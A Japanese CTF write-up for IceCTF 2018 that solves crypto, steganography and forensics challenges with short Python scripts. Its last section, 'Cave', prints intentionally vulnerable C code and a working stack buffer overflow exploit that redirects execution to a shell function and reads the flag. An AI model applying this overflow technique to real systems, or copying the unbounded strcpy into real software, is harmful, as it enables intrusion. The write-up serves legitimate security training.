IceCTF 2018 Writeup

この大会は2018/9/7 1:00(JST)~2018/9/14 1:00(JST)に開催されました。
今回もチームで参戦。結果は 3035点で2460チーム中43位でした。
自分で解けた問題をWriteupとして書いておきます。

Hello World! (Miscellaneous 10)

問題にフラグが書いてあった。

IceCTF{this_is_a_flag}

garfeld (Cryptography 100)

添付のファイルに暗号の情報が書かれている。
f:id:satou-y:20180917071454p:plain
中央下部の文字列が明らかにフラグの暗号。先頭がIceCTF{になるよう復号するためには07271978はシフト数と考えればよさそう。

import string

enc = 'IjgJUO{P_LOUV_AIRUS_GYQUTOLTD_SKRFB_TWNKCFT}'
nums = map(int, list('07271978'))

flag = ''
idx = 0
for c in enc:
    if c in string.uppercase:
        code = ord(c) - nums[idx%len(nums)]
        if code < ord('A'):
            code += 26
        flag += chr(code)
        idx += 1
    elif c in string.lowercase:
        code = ord(c) - nums[idx%len(nums)]
        if code < ord('a'):
            code += 26
        flag += chr(code)
        idx += 1
    else:
        flag += c

print flag
IceCTF{I_DONT_THINK_GRONSFELD_LIKES_MONDAYS}

Ancient Foreign Communications (Cryptography 300)

暗号は以下のようになっているので、まずはバイナリとしてファイルに起こす。

E2 A8 85 5D 5D E2 8C 9E E2 8C 9E E2 8C 9F 5B E2 A8 86 5D E2 8C 9F 5D 5D 5D E2 A8 86 E2 A8 86 E2 A8 86 E2 8C 9C 5B 5B 5B E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9E E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9D E2 A8 86 E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9E E2 8C 9E E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9F E2 8C 9D E2 8C 9D E2 A8 85 E2 A8 85 E2 8C 9E E2 8C 9E E2 A8 86 5B 5D 5D 5D E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9D 5D 5D E2 8C 9F 5B 5B 5B E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9F E2 8C 9D E2 8C 9D E2 8C 9D E2 8C 9D 5D 5D 5D E2 8C 9E E2 8C 9E E2 8C 9E E2 8C 9D E2 8C 9D E2 8C 9D E2 A8 86 5D E2 8C 9E E2 8C 9E
with open('comms.txt', 'rb') as f:
    data = f.read().strip().split(' ')

b_data = ''
for i in range(len(data)):
    b_data += chr(int(data[i], 16))

with open('out.txt', 'wb') as f:
    f.write(b_data)

ファイルにしたものをUNICODE対応したエディタで見る。

⨅]]⌞⌞⌟[⨆]⌟]]]⨆⨆⨆⌜[⌝⌝⌝⌞⌝⌝⌝⌝⨆⌝⌝⌝⌞⌞⌝⌝⌝⌝⌟⌝⌝⨅⨅⌞⌞⨆[]⌝⌝⌝⌝]]⌟[⌝⌝⌝⌝⌟⌝⌝⌝⌝]⌞⌞⌞⌝⌝⌝⨆]⌞⌞

メッシュ暗号にも似ているが、ドットがない。ただ3×3のマスの部分を表しているように見える。タイトルからも想像できる古典暗号によくあるものを思い返してみると、ガラケーとかのキーパッドを使った暗号があった。先頭から変換してみる。

例)
⨅:真ん中の下
⌞:右上

左上は該当する文字がないので無視。さらに意味が通るようにスペースを入れる。

the magic words are squeamish ossifrage
IceCTF{squeamish ossifrage}

Drumbone (Steganography 150)

StegSolveでBlue plane 0を見ると、QRコードが見える。
f:id:satou-y:20180917064927p:plain
1,0のテキストに変換する。

from PIL import Image

img = Image.open('blue_plane_0.png').convert('RGB')
w, h = img.size

UNIT_WIDTH = 6
UNIT_HEIGHT = 6

qr = ''
for y in range(1, h, UNIT_HEIGHT):
    for x in range(1, w, UNIT_WIDTH):
        r, g, b = img.getpixel((x, y))
        if r == 0 and g == 0 and b == 0:
            qr += '1'
        else:
            qr += '0'
    qr += '\n'

with open('qr.txt', 'w') as f:
    f.write(qr)
$ python sqrd.py qr.txt
IceCTF{Elliot_has_been_mapping_bits_all_day}
IceCTF{Elliot_has_been_mapping_bits_all_day}

Lost in the Forest (Forensics 300)

添付ファイルはファイルシステムの一部が含まれているような感じ。
homeディレクトリにあるユーザはhkrのみ。そこの.bash_historyに何かヒントになるようなコマンドの記録がないか見てみる。

$ cat ./home/hkr/.bash_history
              :
wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp
              :
mv eRkjLlksZp tool.py
              :
./tool.py ../secret > ../hzpxbsklqvboyou
              :

実際にこのtool.pyを入手する。

 cat ./home/hkr/hzpxbsklqvboyou 
8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT8NHY25mYthGfs5ndwx2Zk1lcaFGc4pWdVZFQoJmT
$ wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp
--2018-09-08 10:37:42--  https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZp
gist.githubusercontent.com (gist.githubusercontent.com) をDNSに問いあわせています... 151.101.72.133
gist.githubusercontent.com (gist.githubusercontent.com)|151.101.72.133|:443 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 364 [text/plain]
`eRkjLlksZp' に保存中

eRkjLlksZp          100%[===================>]     364  --.-KB/s    時間 0s    

2018-09-08 10:37:43 (42.6 MB/s) - `eRkjLlksZp' へ保存完了 [364/364]

$ cat eRkjLlksZp 
#!/usr/bin/python3
import sys
import base64

def encode(filename):
    with open(filename, "r") as f:
        s = f.readline().strip()
        return base64.b64encode((''.join([chr(ord(s[x])+([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)[x]) for x in range(len(s))])).encode('utf-8')).decode('utf-8')[::-1]*5

if __name__ == "__main__":
    print(encode(sys.argv[1]))

この情報を使って、hzpxbsklqvboyouのデータを復号する。

import base64

def decrypt(s):
    s = base64.b64decode(s[:len(s)/5][::-1])
    return ''.join([chr(ord(s[x]) - ([5,-1,3,-3,2,15,-6,3,9,1,-3,-5,3,-15] * 3)[x]) for x in range(len(s))])

with open('hzpxbsklqvboyou', 'r') as f:
    enc = f.read().strip()

flag = decrypt(enc)
print flag
IceCTF{good_ol_history_lesson}

Cave (Binary Exploitation 50)

ソースが提供されている。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

void shell() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");
}

void message(char *input) {
    char buf[16];
    strcpy(buf, input);

    printf("The cave echoes.. %s\n", buf);
}

int main(int argc, char **argv) {
    if (argc > 1){
        message(argv[1]);
    } else {
        printf("Usage: ./shout <message>\n");
    }
    return 0;
}

入力をstrcpyでコピーして、printfに渡している。ここにスタックオーバーフローの脆弱性がある。
入力値を大きくしていくと、関数の戻り先のアドレスを上書きするはず。その場所を確認する。

[adversary ~]$ cd cave
[adversary ~/cave]$ ls
flag.txt  Makefile  shout  shout.c
[adversary ~/cave]$ gdb -q shout
Reading symbols from shout...(no debugging symbols found)...done.
(gdb) set arg `python -c "print('A'*20)"`
(gdb) run
Starting program: /home/adversary/cave/shout `python -c "print('A'*20)"`
The cave echoes.. AAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 200) exited normally]
(gdb) set arg `python -c "print('A'*30)"`
(gdb) run
Starting program: /home/adversary/cave/shout `python -c "print('A'*30)"`
The cave echoes.. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()

30バイト入力すると半分変わっている。29-32バイトが戻り先のアドレスを格納している場所と思われる。
今度はshellのアドレスを取得する。

(gdb) p &shell
$1 = (<text variable, no debug info> *) 0x804850b<shell>

戻り先のアドレスを書き換えるように実行すると、shellが取れ、フラグを取得できた。

[adversary ~/cave]$ python -c "import os; arg = 'A' * 28 + '\x0b\x85\x04\x08'; os.system('./shout ' + arg)"
The cave echoes.. AAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                              �
sh-4.4$ cat flag.txt
IceCTF{i_dont_think_cavemen_overflowed_buffers}
IceCTF{i_dont_think_cavemen_overflowed_buffers}